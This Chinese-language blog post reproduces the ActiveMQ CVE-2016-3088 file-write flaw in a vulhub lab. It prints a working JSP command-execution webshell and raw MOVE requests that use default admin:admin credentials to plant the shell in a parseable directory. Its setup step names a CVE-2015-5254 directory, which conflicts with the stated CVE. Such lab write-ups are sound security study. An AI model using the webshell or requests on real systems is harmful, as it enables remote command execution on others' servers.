CVE-2016-3088
ActiveMQ CVE-2016-3088漏洞復(fù)現(xiàn)
0. 環(huán)境搭建
-
安裝docker:
curl -s https://get.docker.com/ | sh -
搭建vulhub,使用wget下載vulhub:
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip解壓:
unzip vulhub-master.zip進(jìn)入漏洞環(huán)境:
cd /tools/range/activemq/CVE-2015-5254啟動環(huán)境:
docker-compose up -d
1. 漏洞原理
? ActiveMQ Web控制臺分為三個(gè)應(yīng)用程序:admin,api和fileserver,其中admin是管理員頁面,api是界面,fileserver是用于存儲文件的界面;admin和api需要先登錄才能使用,fileserver不需要登錄。
? 文件服務(wù)器是RESTful API接口。我們可以通過HTTP請求(例如GET,PUT和DELETE)讀寫存儲在其中的文件。設(shè)計(jì)目的是為了彌補(bǔ)消息隊(duì)列操作無法傳輸和存儲二進(jìn)制文件但后來發(fā)現(xiàn)的缺陷:
- 使用率不高
- 文件操作容易產(chǎn)生漏洞
? 此漏洞出現(xiàn)在Fileserver應(yīng)用程序中,該漏洞的原理實(shí)際上非常簡單,即文件服務(wù)器支持寫入文件(但不解析JSP),同時(shí)支持移動文件(MOVE請求)。因此,我們只需要編寫一個(gè)文件,然后使用移動請求將其移動到任何位置,就會導(dǎo)致任意文件寫入漏洞。
寫入文件,例如cron或ssh key
- 編寫Webshell
- 寫入文件,例如cron或ssh key
- 編寫庫和配置文件,例如jar或jetty.xml
? ** 編寫Webshell的優(yōu)點(diǎn)是方便,但是文件服務(wù)器不需要解析jsp,admin和api都需要登錄才能訪問,因此利用難度較高。編寫cron或ssh鍵的優(yōu)點(diǎn)是直接反轉(zhuǎn)Shell,這也很方便,缺點(diǎn)是您需要root權(quán)限;寫jar,有點(diǎn)麻煩(需要jar后門),寫xml配置文件,這種方法比較可靠,但是有一點(diǎn)難度:我們需要知道ActiveMQ的絕對路徑。**

2. 漏洞復(fù)現(xiàn)
- 利用put方法寫入文件到fileserver下,且不能寫jsp文件:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

- MOVE移動webshell到可解析目錄api下,admin目錄也行,沒什么區(qū)別,反正都要密碼,返回204即成功;需要知道絕對路徑,如果知道密碼,能夠/admin/test/systemProperties.jsp該文件下的activemq.home得到絕對路徑,
MOVE /fileserver/viru.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: 192.168.13.132:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=wlanihin610ddhz7mw0olmme
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cache-Control: max-age=0

- 訪問/api/目錄能夠看到上傳的小馬:

4.執(zhí)行命令

以上為漏洞復(fù)現(xiàn)的整個(gè)過程,以下為在復(fù)現(xiàn)中遇到的問題:
MOVE移動文件時(shí)移動不了,不返回?cái)?shù)據(jù)包
使用以下的數(shù)據(jù)包時(shí),不返回?cái)?shù)據(jù)包:
MOVE /fileserver/viru.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s1.jsp
Host: 192.168.13.132:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=wlanihin610ddhz7mw0olmme
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cache-Control: max-age=0
Content-Length: 4
解決方法:
在數(shù)據(jù)包最后加一串字符串,像是這樣:
MOVE /fileserver/viru.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s1.jsp
Host: 192.168.13.132:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=wlanihin610ddhz7mw0olmme
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cache-Control: max-age=0
Content-Length: 4
test
總結(jié)
該漏洞利用難度較高,且fileserver功能在ActiveMQ的5.14.0版本及其以后已經(jīng)移除,可能碰到的情況較少。
碰到后需要一點(diǎn)運(yùn)氣,如果能碰到存在默認(rèn)密碼、使用默認(rèn)路徑或者權(quán)限是root權(quán)限的話,就能夠利用。

浙公網(wǎng)安備 33010602011771號